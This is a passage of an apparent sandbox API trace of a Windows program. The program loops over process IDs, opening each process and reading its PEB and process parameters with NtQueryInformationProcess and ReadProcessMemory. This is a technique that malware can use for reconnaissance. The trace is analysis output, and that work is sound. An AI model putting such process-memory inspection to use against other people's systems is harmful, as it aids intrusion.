_Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0267.246] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10fc) returned 0x16c [0267.246] GetLastError () returned 0x0 [0267.247] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0267.247] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4526018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0267.247] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0267.247] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2d1e40, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0267.247] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2d19f8, lpBuffer=0x2dc22fc240, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0267.249] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0267.250] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0267.250] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4526020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0267.250] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2d13e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0267.250] malloc (_Size=0xba) returned 0x20abc284e70 [0267.250] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2d1a64, lpBuffer=0x20abc284e70, nSize=0xb8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284e70*, lpNumberOfBytesRead=0x0) returned 1 [0267.251] free (_Block=0x20abc284e70) [0267.252] CloseHandle (hObject=0x16c) returned 1 [0267.252] _ui64tow_s (in: _Value=0x11a8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4520") returned 0x0 [0267.255] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4520") returned 4 [0267.256] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0267.256] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0267.269] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11a8) returned 0x16c [0267.269] GetLastError () returned 0x0 [0267.270] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0267.270] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2dc20b8018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0267.270] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0267.270] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20abba21bd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0267.270] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20abba21818, lpBuffer=0x2dc22fc240, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0267.272] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0267.273] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0267.273] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2dc20b8020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0267.273] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20abba21200, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0267.273] malloc (_Size=0x76) returned 0x20abc282120 [0267.273] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20abba21864, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0267.274] free (_Block=0x20abc282120) [0267.274] CloseHandle (hObject=0x16c) returned 1 [0267.275] _ui64tow_s (in: _Value=0x1304, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4868") returned 0x0 [0267.305] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4868") returned 4 [0267.306] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0267.306] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0267.347] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1304) returned 0x16c [0267.347] GetLastError () returned 0x0 [0267.350] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0267.350] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7c7a461018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0267.350] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0267.350] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x26d1dbf1c60, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0267.351] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x26d1dbf18c8, lpBuffer=0x2dc22fc240, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0267.352] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0267.354] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0267.354] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7c7a461020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0267.354] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x26d1dbf12b0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0267.354] malloc (_Size=0x54) returned 0x20abc2a7960 [0267.354] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x26d1dbf1910, lpBuffer=0x20abc2a7960, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a7960*, lpNumberOfBytesRead=0x0) returned 1 [0267.355] free (_Block=0x20abc2a7960) [0267.356] CloseHandle (hObject=0x16c) returned 1 [0267.356] _ui64tow_s (in: _Value=0xc34, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3124") returned 0x0 [0267.360] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3124") returned 4 [0267.361] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0267.361] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0267.390] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc34) returned 0x0 [0267.390] CloseHandle (hObject=0x0) returned 0 [0267.391] _ui64tow_s (in: _Value=0x4e8, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="1256") returned 0x0 [0267.394] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="1256") returned 4 [0267.395] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0267.395] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0267.408] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4e8) returned 0x16c [0267.408] GetLastError () returned 0x0 [0267.409] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0267.409] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3d9018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0267.409] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0267.409] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4f1c80, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0267.410] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4f18c8, lpBuffer=0x2dc22fc240, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0267.411] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0267.412] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0267.412] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3d9020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0267.412] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4f12b0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0267.412] malloc (_Size=0x58) returned 0x20abc2a75a0 [0267.412] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4f191e, lpBuffer=0x20abc2a75a0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a75a0*, lpNumberOfBytesRead=0x0) returned 1 [0267.413] free (_Block=0x20abc2a75a0) [0267.414] CloseHandle (hObject=0x16c) returned 1 [0267.414] _ui64tow_s (in: _Value=0xbf4, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3060") returned 0x0 [0267.418] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3060") returned 4 [0267.419] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0267.419] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0267.432] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbf4) returned 0x16c [0267.438] GetLastError () returned 0x0 [0267.438] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0267.438] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x36f018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0267.438] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0267.439] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x701dc0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0267.439] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x701a58, lpBuffer=0x2dc22fc240, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0267.440] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0267.441] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0267.441] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x36f020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0267.441] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x701440, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0267.441] malloc (_Size=0x5e) returned 0x20abc280290 [0267.441] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x701aae, lpBuffer=0x20abc280290, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280290*, lpNumberOfBytesRead=0x0) returned 1 [0267.442] free (_Block=0x20abc280290) [0267.443] CloseHandle (hObject=0x16c) returned 1 [0267.443] _ui64tow_s (in: _Value=0xb58, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="2904") returned 0x0 [0267.447] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="2904") returned 4 [0267.449] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0267.449] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0267.463] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb58) returned 0x16c [0267.463] GetLastError () returned 0x0 [0267.464] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0267.465] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x287018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0267.465] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0267.465] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a1c70, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0267.465] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a18c8, lpBuffer=0x2dc22fc240, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0267.466] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0267.468] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0267.468] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x287020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0267.468] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a12b0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0267.468] malloc (_Size=0x58) returned 0x20abc2a6ee0 [0267.469] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a191a, lpBuffer=0x20abc2a6ee0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a6ee0*, lpNumberOfBytesRead=0x0) returned 1 [0267.470] free (_Block=0x20abc2a6ee0) [0267.471] CloseHandle (hObject=0x16c) returned 1 [0267.471] _ui64tow_s (in: _Value=0xcc0, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3264") returned 0x0 [0267.476] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3264") returned 4 [0267.477] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0267.477] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0267.509] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xcc0) returned 0x16c [0267.509] GetLastError () returned 0x0 [0267.510] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0267.511] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x30a6ba5018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0267.511] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0267.511] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1cfba803670, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0267.511] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1cfba8032b4, lpBuffer=0x2dc22fc240, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0267.513] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0267.514] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0267.514] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x30a6ba5020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0267.514] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1cfba802c20, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0267.515] malloc (_Size=0xda) returned 0x20abc284e70 [0267.515] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1cfba80330a, lpBuffer=0x20abc284e70, nSize=0xd8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284e70*, lpNumberOfBytesRead=0x0) returned 1 [0267.515] free (_Block=0x20abc284e70) [0267.516] CloseHandle (hObject=0x16c) returned 1 [0267.517] _ui64tow_s (in: _Value=0xcfc, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3324") returned 0x0 [0267.521] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3324") returned 4 [0267.522] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0267.522] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0267.538] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xcfc) returned 0x16c [0267.538] GetLastError () returned 0x0 [0267.539] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0267.539] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xfde7f0a018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0267.539] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0267.539] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2e24fa41e70, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0267.539] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2e24fa41a58, lpBuffer=0x2dc22fc240, nSize=0x40, 